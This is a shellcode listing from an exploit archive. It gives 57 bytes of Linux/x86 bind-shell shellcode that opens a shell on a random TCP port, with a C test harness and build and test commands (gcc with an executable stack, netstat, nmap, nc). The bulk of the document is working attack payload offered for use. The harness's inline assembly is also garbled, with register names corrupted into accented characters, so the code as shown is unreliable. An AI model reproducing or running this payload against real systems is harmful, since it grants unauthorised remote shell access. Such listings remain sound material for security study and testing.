Linux/x86 - Bind TCP (Random TCP Port) Shell Shellcode (57 bytes)

2013-01-01 19:05:14

/*

Tiny Shell Bind TCP Random Port Shellcode - C Language
Linux/x86

Written in 2013 by Geyslan G. Bem, Hacking bits

http://hackingbits.com
[email protected]

This source is licensed under the Creative Commons
Attribution-ShareAlike 3.0 Brazil License.

To view a copy of this license, visit

http://creativecommons.org/licenses/by-sa/3.0/

You are free:

to Share - to copy, distribute and transmit the work
to Remix - to adapt the work
to make commercial use of the work

Under the following conditions:
Attribution - You must attribute the work in the manner
specified by the author or licensor (but
not in any way that suggests that they
endorse you or your use of the work).

Share Alike - If you alter, transform, or build upon
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*/

/*

tiny_shell_bind_tcp_random_port_shellcode

* 57 bytes
* null-free


# gcc -m32 -fno-stack-protector -z execstack tiny_shell_bind_tcp_random_port_shellcode.c -o tiny_shell_bind_tcp_random_port_shellcode

Testing
# ./tiny_shell_bind_tcp_random_port_shellcode
# netstat -anp | grep shell
# nmap -sS 127.0.0.1 -p- (It's necessary to use the TCP SYN scan option [-sS]; thus avoids that nmap connects to th$
# nc 127.0.0.1 port

*/


#include <stdio.h>
#include <string.h>

unsigned char code[] = \

"\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a"
"\x02\x89\xe1\xcd\x80\x52\x50\x89\xe1\xb0"
"\x66\xb3\x04\xcd\x80\xb0\x66\x43\xcd\x80"
"\x59\x93\x6a\x3f\x58\xcd\x80\x49\x79\xf8"
"\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x41\xcd\x80";

main ()
{

// When the Port contains null bytes, printf will show a wrong shellcode length.

printf("Shellcode Length: %d\n", strlen(code));

// Pollutes all registers ensuring that the shellcode runs in any circumstance.

__asm__ ("movl $0xffffffff, êx\n\t"
"movl êx, ëx\n\t"
"movl êx, ìx\n\t"
"movl êx, íx\n\t"
"movl êx, %esi\n\t"
"movl êx, íi\n\t"
"movl êx, ëp\n\t"

// Calling the shellcode
"call code");

}

Fixes

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